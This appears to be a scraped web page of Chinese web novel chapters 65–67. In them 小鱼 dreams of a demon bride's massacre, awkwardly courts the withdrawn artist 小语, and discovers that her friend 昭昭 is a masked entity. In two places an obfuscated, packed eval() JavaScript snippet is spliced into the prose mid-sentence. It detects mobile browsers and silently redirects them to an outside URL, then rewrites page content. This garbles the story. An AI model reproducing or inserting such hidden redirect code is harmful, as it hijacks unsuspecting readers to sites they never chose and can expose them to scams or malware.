女孩如蜜糖般的声音仿佛还回荡在耳边，他艰难地将自己的意识从刚刚的梦境中抽离，这才发现自己身处的这个空间在有规律地一摇一晃。 抬头一看，入眼一片红。 他竟然坐在花轿里。 他旁边坐着一个新娘子，她盖着红盖头，穿着华美的婚服，但是身体被绳子紧紧地绑着。 她在颤抖。 “我不愿意……我不愿意……好恶心……好恶心……”眼泪从盖头里落下，打湿了她膝盖上的布料，那一片布料都变为了濡湿的深红。 “为什么都不听我说……为什么……要背叛我？” 轿外人群嬉笑连连，热闹非凡，而轿内，被绳索束缚的新娘却泪流满面，悲痛欲绝。 眼泪冲花了她的妆容，在她的眼下晕染出两道黑色的泪痕，惨白的粉末如同雪花般簌簌地往下掉，美丽的新娘逐渐变得如恶鬼般狰狞。 “杀了你们……竟敢把我卖了……我要你们付出代价，你们都该死！” 她的声音变得沙哑、阴冷，怨气从她的身上升腾而起，她裸露的皮肤变得黝黑、坚硬，肌肤纹理处流动着岩浆般的红色，她的手骨开始变形，圆润的指甲生长变利，逐渐变得像一束锋利的尖刀。 祁煜茫然地看着。 她是谁？他为什么动不了？ 她好痛苦……他想帮帮她。 轿子停下来了，一个男人掀开帘子，把新娘从轿子拽出去。 狂风骤起，新娘的盖头被风掀飞，她恶鬼般的面容吓坏了周围的人。绑缚着她的绳索被她挣断，她猛地出爪，锋利如刀的指甲切入男人头顶，直接将他从头切至腰腹，撕成了四瓣。 “傅秋语，你疯了！！” 新娘尖笑道：“是啊，我疯了，这都是拜你们所赐！我得感谢你们，因为疯掉的感觉实在是——太棒啦！！啊哈哈哈哈哈哈哈哈哈哈——！！！” 疯癫的尖笑中，她又扑向了四散奔逃的人群，将他们撕得粉碎。 漫天的血雨中，新娘惬意地扬起脸。她不再痛苦了，她的心中只有恶意和杀戮，从今往后，她再也不用思考其他的事了。 她的背后长了一对巨大的、红色的蝴蝶翅膀，鲜血在翅膀上凝固成玫瑰的图案，仿佛魔鬼赠予的鲜花。 忽然，她猛地回头，视线锁定仍在轿中动弹不得的祁煜。 一瞬之间，她便闪到了他的面前。 她的头上有个狰狞的血窟窿，从窟窿处可以看到碎裂的头骨和脑花。 她单手掐住了祁煜的脖子，狞笑着说：“【美梦】的俘虏，为何进入【噩梦】的领地？既如此，你就把命留下！” 她锋利的爪子落下，剧痛袭来，然后——白光乍现！ * 小鱼冷汗淋漓地从噩梦中惊醒。 “小鱼？小鱼！醒醒，快醒醒！” 有人在拍他的脸，他茫然地抬头看去，昏暗的视野中，小语正焦急地拍他的脸，试图让他清醒过来。 小语：“你还好吗？做噩梦了？喂，你听到我在说话吗？回神了，你还——唔哇！你干嘛？！” 小鱼猛地抱住了女孩，小语整个人瞬间僵住，手都不知道该怎么放了。 他依恋地蹭了蹭她的肩膀，那颗浸泡在无尽的悲伤中的心，这才慢慢地褪去了苦涩。 小语僵硬地拍拍他的背，僵硬地说：“呃，你终于清醒了，你还好吗？……呃，我能理解你刚做了噩梦，惊魂未定……但你能放开我吗？你力气太大，我喘不过气了。” 小鱼还是埋头在她颈间，死死地抱着，不肯松手，他说：“……不行，我太脆弱了，需要你的安慰。” 一个邪恶的计划，悄然在心中酝酿。 不得不说，这世上像他这么聪明的人已经不多了！ 65.065 是这样的，直接游说小语跟他走这条路已经行不通了，这家伙固执得要死。 而且也不能强行把她抱走，因为她有1000%的可能会暴起伤人，他还不想第二天起来发现自己忽然能看到自己后背了。 所以他需要采取色.诱……不是，是怀柔政策！曲线救国！ 只要让她喜欢上他，那她自愿跟他走的概率就会大大提升。 没想到他有一天居然会堕落到使用美人计，这到底是人性的扭曲还是道德的沦丧…… 他脑子里乱七八糟地想着这些，小语听到他说自己脆弱需要安慰，忍不住露出一个十分钢筋直女的疑惑脸。 小语：“哈？搞什么鬼，你可是男孩子哦！我看你被关进来的时候没脆弱，遇到红衣女的时候也没脆弱，怎么做个梦就脆弱？是男子汉就……我怎么感觉肩膀有点湿？你不会哭了吧？” 小鱼松开被自己掐红了的胳膊肉，也同样松开了小语，他假装坚强地抬起湿润的眼眸，定定地注视着她，说：“我其实……梦到了一些悲伤的事。我没事的，你去睡吧……虽然我很伤心，但我一个人可以的。” 小语：？？？ 她抽了下嘴角。 两人对视了三秒，这盏刚端上来的碧螺春直接在她嫌弃的眼神中冻成了冰坨子。 小鱼：…… 很好，他知道茶艺这路子走不通了。 小语勾起单侧嘴角，神似歪嘴龙王邪魅一笑。 她偏了下头，给他顺了顺耳边凌乱的头发，柔声说道：“你自己可以就好，那我就放心去睡觉了。亲亲晚安哟，不要再做噩梦了哟~~” 好贱！好贱的语气！ 小鱼：？？？ 她之前是这种性格吗？？ 他算是看出来了，这家伙说不定适合搞诈骗。初见时温柔善良像个天使，实际上桀骜不驯攻击性极强，又难哄又难骗又难拐，栽在她手里这辈子也是有了。 女孩翻了个白眼，转身回到自己床铺。 小鱼撇嘴，他倒也没再作妖挽留她，攻略她这事急不来，他还不想平白讨人嫌。 他看着窗外，再也没睡。 梦中的画面在脑海中闪过，他头疼地揉了揉眉宇。 利莫里亚……海神……浮空岛屿……【美梦】与【噩梦】……这些到底是梦，还是真实的记忆？ 尽都是一些……令人不愉快的东西。 忽然，他听到后面传来窸窸窣窣的声音，好像是小语又坐起来了。 小语的声音带着浓浓的倦意：“外面有什么好看的……别看了，你还睡不睡了？” 小鱼：“睡不着。” 身后没动静了。 过了几分钟，他又听到她起床的动静。他茫然地回头看，只见小语顶着个鸡窝头臭着脸过来。她拉过他的手腕，把他拉起来。 小鱼不明白她要干什么，一脸疑惑。 小语：“你别挎着脸了，整个房间的氛围都很低沉啊你知不知道？”她看着他叹气：“算我上辈子欠你的，我不睡了，和我讲讲你到底梦到了什么，有必要这么郁闷吗？” 说着她打着呵欠，坐回床上，但是她没躺下去，而是把被子团成一个窝，她坐在窝里向小鱼招招手，“别傻站着了，过来，我们聊聊天。” 其实她也不知道应该怎么安慰人，她只记得自己年幼时很爱哭，每当委屈的时候都会像这样用被子把自己围起来。虽然这么做解决不了任何实际问题，但能给予人一种安心的错觉。 小鱼：…… 他情不自禁地后退半步，脸颊爆红，刚刚的低落瞬间被他忘到九霄云外，他现在满脑子都是小语邀请他盖着被子纯聊天！ 跳窗……跳窗逃走吧！ 不对，这窗户是封死的，门也是封死的，根本逃不出去啊！！ 怎么、怎么回事？！这剧情不对啊！ 他还没对她用上美人计的呢，她怎么就反过来对他用上了！ 虽然他们年纪小，不用这么敏感，但…… 好吧，如果梦里的事情是真的，他们年纪也不小了，所以这种事情还是不了吧！作为两人之间唯一还能稍微记起来一点的那个，他不想乘人之危！ 最重要的是，他不想等以后她恢复记忆再想起来这事的时候，被恼羞成怒的她砍成四段……一段清蒸，一段红烧，一段炖汤，一段烧烤。 小鱼汗流浃背，又往后退了半步，他说：“这、这就不必了……我坐在椅子上也是一样的……” 小语面无表情地看他：“请在我对你有耐心的时候过来。我数三下，你不过来，以后你再emo的时候都别想让我安慰你。” “三、二——” 最后一个“一”字还没说出来，小鱼已经火速钻进了被窝里。 小鱼通红着脸，表情凶凶地谴责她：“你太霸道了，你居然威胁我！” 小语把被子围在他身上，两人依偎在一起，靠着墙坐着。 沾染了她体温的被子很温暖，带着一股奇妙的幽香。 之前他就觉得小语身上好像有某种神奇的力量，只要接近她，他燥乱的心绪就能够抚平。 而现在，她和她的被子一起环绕着他，那因为噩梦而焦虑、质疑、悲伤的心情，也逐渐化为甜蜜的泡沫…… 小语：“要靠在我肩膀上吗？” 小鱼嘴角抽搐：“你能说点女孩子会说的话吗？哪有让男孩靠在女孩肩膀上的？” 小语鄙视他：“合着刚刚展示茶艺说需要我安慰的不是你是吧？” 小鱼伸手揉她的脑袋，把她的鸡窝头揉得更乱，像个小棉花糖似的。 在她充满怨气的眼神中，他压着嘴角憋着笑，把她的头轻轻按在自己肩膀上：“那是十分钟之前的小鱼说的话，现在的小鱼是无辜的，你得原谅我。” 小语：“你个小八嘎！” 小鱼被她骂得嘴角终于压不住笑了，他侧头用脸颊抵在她头顶，轻轻摩挲。 小语：“心情好点了？那现在能说了吗？” 小鱼好奇地问：“你好像总能察觉到我的心情，怎么做到的？我好像也不是那种会把情绪写在脸上的人？” 小语：“情绪只要存在，就会持续不断地向四周发散信号。就算你不表现出来，我也能通过氛围感知你的真实情绪。” “但有的时候，就算不用这种方式也能察觉。比如你现在就想转移话题，来逃避我的提问。” 她迟疑了一下，但还是说道：“普通的噩梦没必要转移话题，你也没必要那么难过，所以……那并不是普通的噩梦，对吗？” 小鱼的目光逐渐变得恍惚，他问：“……你觉得我是一个什么样的人？” 小语：“很难评，不过总体是个好人。” 小鱼：“好人？可能吧。但……如果有一天，我变得很坏很坏呢？” 小语：“很坏很坏是哪种坏？” 小鱼：“杀人放火，破坏公序良俗。” 小语：“这得看是在什么条件下了。” 小鱼：“……你为什么这么淡定？” 小语：“任何事物脱离了前提条件和环境进行道德评判都是耍流氓。” 小鱼：“你……”他无奈道：“你的答案也太犯规了。你也不问问我到底是什么事，怎么就直接开始替我开脱了？” 小语：“因为我不相信你这种拯救欲爆棚的家伙，会主动去伤害什么人。所以你梦到了什么？” 小鱼：“我梦到……我为了保护一个群体，不得不杀死另外一个群体。” 小语：“你要保护的是什么人？” 小鱼：“……不记得了。但是，只要想到他们，就觉得心里很难过。” 小语：“杀少了。” 小鱼：“？” 小语冷笑一声：“那应该是你的至亲好友吧？他们受到了侵害，你保护他们，天经地义。” “除去杀少了这个原因，我想不到你其他难过的点。” 小鱼：“你嘴里没有一句人话，但是我喜欢。” 小语：“？这话可以不用说。” 小鱼：“那你呢？……如果有一天，你也变得杀人不眨眼，会是出于什么原因呢？” 小语：“……”她眼里闪过几分迷茫。 她没有回话。因为她也不知道应该怎么回答。 黑夜将无尽的孤独倾覆于他们单薄的肩膀上，明明彼此已经靠得这么近了，但他们仍然感觉到了刻骨的……无法与对方言说的孤独。 小鱼垂下眼帘，说：“像你这种保护欲这么强的人，假如有一天你不管不顾去伤害别人，那只有可能是……你对这个世界彻底失望了。” 小语好笑地问：“保护欲？……你确定你说的是我？” 小鱼笑了笑。 他拉开两人的距离，围在两人身上的被子滑了下来，原本温暖的被窝立刻漏风，小语想捞下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她脸色通红，瞪了小鱼好几眼，似乎想说什么，脸上的神情恼怒与羞愤交加。但最终她什么都没说，而是把被子往头顶一蒙，倒头装死。 小鱼想压住嘴角，奈何实在压不住。虽然他也知道这个时候，沉默是化解尴尬最好的办法，但他还是忍不住要贩个剑。 他趴在床榻边，戳了戳床上的大毛毛虫茧子，说：“你别蒙着头睡啊，这样很容易闷的。万一你闷坏了，我会很伤心的……” 小语一秒都忍不了，当场暴起，掀开被子就开始打他：“烦死了！烦死了！你能不能不说话！” 小鱼的胸口邦邦邦挨了好几拳，好痛，但他的嘴角更难压了。 他努力地做出一个委屈巴巴的表情，说：“对不起嘛，我不是故意靠那么近的。那……你打了我，可不能再生我的气了。” 他牢牢地抓住她的手，仰着脸，眼睛眨也不眨地盯着她，不放过她脸上任何一个细微的表情，“……我对你说的话，你也要牢牢记住。不要保护任何人，包括我，无论遇到什么事，你都要先保护好自己。” 虽然努力地做出弱势的姿态，但无论是他的动作还是眼神都已经暴露了他骨子里的强势。 他抓住她的手，像是撒娇一样地晃了晃，“答应我，好吗？”说完，还把她的手贴到自己的胸膛上。 因为他忽然想起来，这个地方，原本有属于他们的契约。 但是现在，这个契约消失了，再也不会亮起。 原来即使是永恒存在的东西……也可以不再永恒。 小语：“……” 她的神情更羞恼了，但除了羞恼之外，还夹杂着另一种说不清道不明的情绪。 她咬牙切齿，另一只手举在半空中，一时间不知道该不该继续揍他。 半晌，她的拳头还是落了下去。 邦的一声，小鱼猛压的嘴角还是破功了。他眼睛亮亮的，嘴角勾起一抹焉坏的弧度，显然是觉得她的反应很有趣。 笑笑笑，有什么好笑的！ 小语恼羞成怒地将他推开，把自己的另一只手从他的手中解放出来。小鱼很配合，她一推他就放手，并且还往后倒，一脸无辜地坐到地上。 可能也是知道不能再刺激她了，再刺激她她就要把他血溅三尺了。 小语恶狠狠地瞪了他一眼，被子再次蒙头一盖，睡觉！ 再也不理他了！绝对！！ 66.066 小语很不开心。 具体表现为她比昨天更低的气压、更快的别人要小跑才能跟上的走路速度，以及更臭的怎么逗她都不会笑的脸。 昭昭把肚子里的地狱笑话都搜刮遍了也没把她哄好。 她趴在桌子边边上，一脸沮丧，那个粉红兔耳发带都快垂下来了。下一秒她飞速地给厚着脸皮坐在旁边的小鱼甩了个凶恶的眼刀。 小鱼倒是很开心。 具体表现为他疯狂上扬的嘴角、不知道怎么忽然很厚无论她怎么摆臭脸都不会自觉走开的脸皮，以及那时刻闪闪发亮一直在盯着小语的眼睛。 他贿赂了小语原本的同桌，和人家换了位置，然后他就肆无忌惮地看了小语两节课加一个课间休息。 一会儿问她饿不饿，然后无论她饿不饿但还是硬找了吃的给她； 一会儿问她渴不渴，然后无论渴不渴但还是硬倒了一杯水放在桌上； 她一个眼神扫过去，他就知道她要拿笔并迅速抢过笔递给她； 回答完老师的问题后，无论她有没有答对都迅速表达彩虹屁。 两节课下来，小语额角青筋暴起，看来忍耐即将到达极限。 昭昭忍不住了，她强行挤过来，一屁股坐在两人中间。 教室里配置的都是长椅长桌，她这一屁股直接把小鱼撅走，直接物理阻断他的视线。 然后她面无表情地指着自己：“喜欢盯着人是吧？盯我，我给你看。” 小鱼看得好好的忽然被阻断视线，一脸不悦：“我看你做什么？” 昭昭：“因为我脸皮厚，就喜欢被人盯着，但小语不喜欢。我说你没事儿吧，大早上的像个鬼一样老盯着别人做什么？还把人家同桌支走！我警告你啊，有事启奏，无事退朝，再不识好歹我要开骂了！” 小鱼露出一个委屈的表情，他绕过桌子又坐到小语的另一侧，特地让她看到自己三分凄楚三分无辜的脸，茶里茶气地问：“是这样吗？我的存在让你很不舒服吗？” 小语额角青筋乱蹦，当场暴起，揪起他的衣领就要打人。 昭昭：“啊？这就要开打了吗？哈哈，好耶，让他挑衅！带我一个带我一个！” 同学们赶紧冲上来按住小语：“傅姐！傅姐冷静啊！老师要来了，你再动手又要去禁闭室了！” 几个男生对着小鱼大摇其头：“追女生不是这样的，你到底是在挑衅还是在追人啊……哎，怎么就不懂呢！” 小鱼一脸淡定。 挑衅？没错，他确实是在挑衅。 但如果以为他只是在单纯地挑衅，那就太天真了，一切都是他的计划，他有他自己的节奏！ ……好吧，实际上是因为小语从今天早上开始就没和他说过一句话，无论是装乖还是卖惨她都不理会，连目光扫过的时候都会像他是个透明人一样自动忽略过去。 对于这场她单方面开启的冷战，小鱼认真研究，仔细思索，决定化冷战为热战，开始疯狂挑衅，就想看她到底什么时候才会忍不住。 这位也是个忍界精英，居然忍了两个小时才动手揍他！ 虽然被同学按下去了，他的计划没能得逞，他只能叹气，想着要不换个法子，挑衅虽然效果显著但有点太贱了，很容易玩儿脱了从而进她的黑名单。 话说回来，她不是答应今天要陪他进行恢复记忆的训练吗？怎么到现在还不说这事？……难道是因为他惹得太过火了，决定反悔了？ 不过……小语真的是为了他昨天的紧密举动而生气吗？ 他的目光稍定，贩了一早上剑也笑得有些累了的嘴角，终于是落下来了。 ——还是因为，他对她说的话？ ……她最终还是没有答应他。 * 小语在反思。 每一个优秀的天朝人都是在反思中长大的，她更是其中的佼佼者，因为她的反思发自内心。 其实从她晚上12点去祷告厅蹲人就已经很离谱了吧？ 她一个非作战人员，大半夜的冒什么险，除了她的脑子突发恶疾了之外没有别的解释。 小语严肃地在纸上写演算公式。小鱼看了一眼，密密麻麻的公式看得他眼晕，完全不想看第二遍，看不懂思密达…… 本来只是想蹲这个笨蛋，没想到同时蹲到了三个人，这种十连三金的感觉她完全不想要……原本画框里是没那个红衣女的，没想到有人会大半夜地去找红衣女许愿，这才把她呼唤了过来。 既然选择了冒险，那么接下来发生的事也算是在情理之中。她以小鱼做饵吸引住红衣女的注意力，自己暗中积蓄力量发动突然袭击。 后来发生的事，虽然过程很痛苦，但她并没有想过责怪他。 其实……她也不知道为什么，就是很想帮他，可能是他那莫名其妙的拯救欲感染了她？不明白，不理解，但是……很温暖。 她想，自己或许是渴望这份温暖的，但是靠近他却会令她感到痛苦。 在画中世界的篝火旁，她靠着他，心里只有一个念头：尽快帮他离开，对两个人都好。 ……但是，最后他对她说，不要做别人的英雄，不要保护他。 如果换作别人这么不知好歹，她帮了忙非但不感谢还想对她指手画脚，她肯定是冷笑一声，一秒都不带犹豫直接拉黑名单里，然后把这个不知好歹的东西抛到脑后。 但是这话是他说的……她便发现自己似乎做不到对别人那样冷淡决绝。一股难以言说的耻辱和羞恼，占据了她的心神、她的大脑。 她很恼怒，并且觉得自己是傻逼。 他是什么意思？觉得她很弱，只会拖后腿？所以故意说个看似好听的话来婉拒她？ 笑死！真以为谁喜欢大半夜不睡觉跑出去直面女鬼找刺激是吧？ 去死吧你！从今往后这货是死是活和她没有半点关系！ 小语很少为什么事生气，但一旦生起气来基本谁都哄不好，即使是昭昭逗她开心，她最多就是脸色稍缓，然后继续臭脸。 第三节课，因为她的忍耐力真的到达极限了，小鱼没再继续惹她，而是托腮看着黑板发呆。 这是一节美术课，熟悉的美术课……他好像对这个很熟悉，他心不在焉地听神父讲素描理论，脑子里已经开始自然地勾勒起小语的脸。 授课的神父讲完，学生们拿出画板开始画画。 笔一到他手里，手就忽然有自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740387|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的想法。出乎意料，他并没有画小语，也没有画放置在教室中心的参考物，而是……一只蝴蝶。 他愣怔片刻，摸了摸系在手腕上的蝴蝶结。 他忽然很好奇小语画的是什么，她似乎一眼都没看静物。 偷看一眼，画纸上只有一片深深浅浅的阴影，连形态都没有，线条也很杂乱，她还不时地用手乱蹭。 他却来了兴趣。她这手法看似是毫无章法地乱画，实际上他这种有经验的人一眼就看出来，她非但不是乱画，反而透露着一种成熟的创作逻辑。 带着期待的心情，他不再看了，怕影响自己看到成品时的惊喜，转而专注自己手里的画。 记忆消失了，但肢体的本能还在。他不禁怀疑，自己真的是个冷酷无情的杀手吗？他怎么对创作这么熟悉？ 他还是画着那只蝴蝶，但不仅仅只是在画蝴蝶。他的画精细入微，以至于每一片翅膀上的花纹以及鳞片的细节都清晰可见。 但同时他画得也十分怪诞，那翅膀上的脉络完全不像是蝶翼，反而像是……羽毛。 而翅膀上的鳞片根据区域颜色深浅，分为密恐当场去世的眼球区，吉良吉影狂喜手控区，以及各种乱七八糟的他自己也不知道在画什么的不可名状区…… 看着不但令人惊叹他的画技，也令人背后一阵发凉。 小鱼托腮。 他从前是喜欢画这种怪诞类画作的？……总觉得不是。 他只是，把自己想到的都画出来了，也不管最终呈现的是什么。结果就是，这画得他自己也看不懂自己到底想表达什么。 作画时间结束，由于他和小语都没按要求画素描，把神父气了个半死。但他们的画还是被拎出来点评了，因为他们的画把这个基础素描课拉到了不属于它的高度。 小鱼看到小语的画，脑袋陡然一懵，脸瞬间红了。 那是一尾鱼，一尾跃出水面的鱼。鱼身修长纤细，尾巴很大，像是一簇火焰。 他明白了，原来那深深浅浅的阴影是在描绘水的波纹，杂乱的线条是在定位每一颗水珠的位置。 鱼儿优雅灵动地跃出水面，水珠晶莹地挥洒在纸上，那鱼那水真实得好像要从画纸中跃出来。 不知道为什么，他总觉得那条鱼应该是蓝色的。 好眼熟……或许从前，她的掌心也有这么一尾小鱼？ 他偷偷看小语，却发现她凝视着画作的目光有些恍惚。那目光哀伤又平静……仿佛看着某种逝去之物。 神父看着她的画作叹息，然后开始点评下一位。 下课后，神父喊她去办公室谈谈，小鱼偷偷地跟上，在门外，他听到神父和陈教授一起劝她。 “你应该再拿起画笔的，画得这么好，却只能埋没在实验里，太可惜了。” “不赞同埋没在实验里这一句，她总能精确地给各类人群描绘出她想要的东西，任何复杂的结构都能在她这里解构得通俗易懂。但我同样赞同神父说的……不继续创作，太可惜了。” 小语：“……” 她淡漠的声音传来：“但我在很早之前就决定放弃了。现在反悔，不就显得当初下定决心的自己……像个傻子吗？” 67.067 午休时间，小鱼和小语在楼道里相遇了。 小语抱着一个堆满杂物的纸箱，居高临下地看了他一眼，神情冷淡，小鱼受不了她这个眼神，沉默地侧身给她让开了位置。 虽然他上午极尽纠缠，但……他的自尊心其实并不允许他做这样的事。 此外，他隐约感到小语生气另有原因，在弄清楚之前，他决定不再纠缠她。 小语和他擦肩而过，两人一个上楼，一个下楼，没有言语。 突然间，余光捕捉到一抹红纱飞快地掠过，随之而来的凉风拂动了小鱼的发丝。他急忙转身，试图抓住那片红纱，并下意识地喊道：“小心！” 他没有抓住，那片红色瞬间就消失不见了，楼道中的小语惊叫一声，纸箱落到地上，一阵丁零哐啷的声音响起。 他连忙下楼查看，只见小语跌坐在地，纸箱里的杂物也摔了一地。 刚刚闪过的是红衣女吧？她搞什么鬼？！ 小鱼过去扶她：“你怎么样？！” 结果还没等到他触碰到她的衣角，她便先一步起身，迅速捡起了地上那本破旧不堪的画册，急切地拍打掉上面的灰尘。紧接着，她的动作突然停了下来。 小语：………… 他看着她的目光，仿佛自己的心也被挖走了一块，他忍不住问：“这是什么？” 小语今天都没有理过他，他本以为这次也会是同样的情况，但出乎意料的是，她突然开口说：“……我以前的画册。” 她也不知道自己为什么要回答他。她的气还没消，还处于看到他就来气的阶段。 但……她想让他知道。 ……这个莫名其妙的人，把她也变得莫名其妙了。 小鱼怔了一下，说不清自己是什么心绪。 他又问：“你搬这么多东西干嘛？你要搬家啊？” 小语：“……都是一些旧物，我要把它们都扔了……”她捏着画册的指尖泛白：“它也是。” 小鱼：“……你的画很美，真的不继续创作了吗？” 小语的目光忽而变得恍惚：“……我已经创作不出任何东西了……无论是画，还是文字。” 这是和她面对老师时完全不一样的回答。 小鱼的眼睛一亮，难道这个回答才是她真正的想法吗？ “你看到的那幅画，只是我的一个梦……我梦到一条小鱼从大海里跳出来，跳到我的掌心，亲吻我的指尖。” 她注视着他，仿佛在说梦中的那条小鱼，也仿佛在说他。 小鱼不自觉地绷紧了下颚：“很美的梦。” 小语：“但我很难过……因为它是属于大海的，放弃那片辽阔的海，选择栖息在我的掌心，即使我以手掌作为水池，精心呵护，它也会在这狭小的方寸之地走向死亡。” 他同样注视着她，认真地说：“它是自愿的，不用难过。” “自愿？”她麻木且茫然地重复了一遍，然后摇头道：“不该是这样，它应该是自由的、快乐的……堕落的自由不是自由。” 他的手指颤抖了一下。 她蹲下把散落的杂物捡回纸箱，小鱼看她腿脚不便，便帮忙一起捡了，最终那本画册被她放置在最顶处，仿佛不想它被任何东西弄脏。 他看着她做完这一切，忽然问：“创作对于你来说是什么？” 小语：“……” 她没有回答。她似乎不明白他为什么要问这个问题。 小鱼：“我听说……咳，我也是听别人说的，你在很早之前就放弃学画了，但你还是画得很好，这些年应该都有在练习。反正都已经被关在这里了，你不如安心钻研画技？反正也没事做。” 小语抱起纸箱。 她不想再和他说更多了，于是她又回到了面对老师时的回答：“已经决定好的事，我不会轻易改变。否则当初那个下定决心的自己就太可笑了。” 小鱼一头撞上了她重新筑起的心墙。 明明距离打开她的心门只有一步之遥，她却后退一步退回了原来的位置，他也有点恼了。 他上前一步，说道：“已经决定好的事，就不可以更改了吗？时间会改变一切，包括当初那个让你下定决定的环境。” 小语微褐的眼瞳放大。 小鱼又靠近了一步，“在漫长的岁月中，山峦会崩塌，河流会改道，大海会干涸，沙漠会变成绿洲……没有什么可以永恒不变，就连在无尽轮回中都没有破灭的契约都可以消失……你的决心，比日月山河还要坚不可摧吗？” 小语：“……” 她摇头道：“……听不懂你在说什么。” 心很乱，她后退一步，拉开两人的距离：“我去扔垃圾了。” 她离开后，小鱼在楼道中陷入长久的沉默。 糟糕……他好像说得太过火了。 但他觉得自己没说错。 他的心很乱，也不知道怎么嘴就比脑子快，什么话都说了，估计小语之后更不想理他了…… 回房间吧，他想静静…… 一抬头，发现昭昭趴在楼道栏杆上，一只手托着下巴，往这边看过来，也不知道看了多久。 两人对上视线，昭昭皮笑肉不笑地对他说：“换个地方，我们谈谈？” 在天台上，昭昭双手环抱双臂，倚靠在栏杆旁，平静地凝望着小鱼，而小鱼坦然地任她打量。 昭昭开门见山：“你喜欢她？” 小鱼直截了当：“是。” 昭昭冷笑一声：“老娘昨天问你的时候，你还一脸不屑。怎么，才过去一天，这就要打自己脸了？” 小鱼尴尬地摸了摸鼻子，“那是昨天的我说的话，和今天的我没关系。你不会是因为这个要找我算账吧？” 昭昭：“是，也不是。你——”她用手指了指小鱼，然后做出一个滚蛋的示意，“离她远点。” 小鱼：“？” 他有些好笑：“作为朋友，你管得是不是太宽了？” 昭昭冰冷地说：“正因为是她的朋友，我才要这么做。小语是个纯粹到……令人觉得纯真的人。认定了什么人，就不惜耗费自己的心血去成就他。认定了什么事，哪怕倾尽一切也要去完成它。” “这样的人，太容易被人利用……” 小鱼：“你认为我想利用她？” 昭昭冷笑：“答案对我来说不重要，你滚远点这件事，对我很重要。” 小鱼：“之前我就一直觉得了，你好像什么事都喜欢挡在她面前。但问题是，她需要你这样保护吗？” 昭昭：“如果她生气了，我会道歉，但我不觉得自己错了。你们不合适，分了吧。” 小鱼：“？” 昭昭：“刚刚楼道里的事，我全都看到了……你难道以为她很好受吗？你知道那本画册在她箱子里躺了多久吗？你知道画册为什么会被撕碎吗？你知道她为什么创作不出来作品了吗？你知道什么？不知病灶，就想动刀，这世上没有比你更愚蠢的医生！” 亲友的怒火，远比小语本人来得激烈。 昭昭说着说着，自己眼眶红了，她猛地侧过身，“离开她，你只会给她制造麻烦！” 她凝望着阴沉的天空，那粉色的兔耳发带在风中微微晃动。她流泪了，但不是为了自己。 他第一次正视这个看似没心没肺的女孩子，“我确实……不了解她，但我和你一样担心她。她其实不想扔掉那本画册，你没看出来吗？堕落的自由不是自由……她不愿看到梦中的小鱼被囚，但她何尝又不是自己把自己囚住？” 昭昭：“这个我会想办法，用不着你操心。” 小鱼：“做不到。她是我喜欢的人，我不可能视而不见。” “……喜欢？”昭昭笑了，她转过脸来看他：“可别了，任何人都可以喜欢她，你不可以。” 小鱼托腮：“从我们见第一面起，你好像就一直对我抱有恶意。我不明白……我们以前认识？我得罪过你？你对我有什么不满就直说吧。” 昭昭：“直说？那感情好，我也憋得够久了，我一直有很多问题想问你，你干脆在今天一并回答我好了——” 她向他走近，小鱼反感地后退，正当他要说什么的时候，昭昭的脸颊皮肤竟如同陈旧的墙皮一般，纷纷往下脱落。 他惊愕得一时忘了反应，不由自主地凝视着她皮肤之下，那令人头晕目眩的马赛克。 马赛克张狂地流动、变幻，她整个头部都扭曲了，声线也变得失真。 “你知道自己是谁吗？你知道自己从哪里来，要到哪里去吗？你是以什么身份来接近她？海神，潜行者，画家，还是一个失忆的小孩？当你强行走入她的生命中，你能带给她的究竟是痛苦还是欢愉？” 她的声线是扭曲失真了，但说的话却像一把破开虚妄的真实之剑，狠狠刺在他的心上。 小鱼猛然意识到，昭昭认识他，并且非常熟悉。 “你说你爱她，但你真的爱她吗？参与你的过去、与你结成契约、与你相恋你的爱人，究竟是什么人，你想过吗？你的那一堆山盟海誓能兑现吗？能吗？如果这些 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她没想到会被抓包，明明小语刚刚下楼了，怎么这么快就回来了，还找到这里？ 再回头的时候，那昭示失控的马赛克已经消失了，她恢复了那副天真可爱的样子，笑着对她招手：“呀，你来了。我们正聊天呢，其实他还挺有意思的哈哈哈……” 小语走过来，在两人身侧站定。她当然不可能信昭昭，即使她不知道俩人聊了些什么，但空气中弥漫的氛围就已经能让她猜出一二了。 但她没说话，只是轻轻地拉过她的手，冲小鱼抱歉地点头示意，随后带着她离开了天台。 楼道中，小语扶着扶手下楼，她刚刚走了太多路，扭伤的脚有点疼。 昭昭心里有点慌，老老实实地垂头不说话。楼道里安静得有些过分了，让她有种自己可以听到自己心跳的错觉。 忽然，小语说：“我哪里也不去，就留在这里陪你，陪老师。外面的世界没有你们……太寂寞了。” 昭昭：“……哈哈，那太好了！我就愁那小子把你拐走呢！听到你这么说，那我就放心啦！” 她兴奋地蹦起来，仿佛瞬间恢复了活力。然而，嘴角不经意间的微微下垂，依然泄露了她内心的真实想法——那是一个努力挤出的、牵强的笑容。 她们回了各自的房间，小语开始收拾自己瞬间变空了很多房间，然后坐在窗口发呆。 昭昭站在镜子前，看着自己的脸。 一块皮肤从她的脸上剥落，随即第二块皮肤从手上脱落，第三块皮肤从脖子上脱落……头发脱落了，眼球也脱落了……那粉饰太平的表象如同融化的蜡烛从她身上剥离，唯有那炫目到恶心的真身——V.E生命体——如坚固的灯台，丑陋而真实。 她是假的昭昭，却困住了真的小语。 她伸出手，摸了摸镜子，她的手也是一团流动而闪烁的马赛克。 “*&……%￥#@？” （如果是真正的昭昭……她会怎么做？） “@#￥%，&*%￥￥%？……&*？” （是任由她沉沦，还是引导她回归残酷的现实？……我做的是正确的吗？） 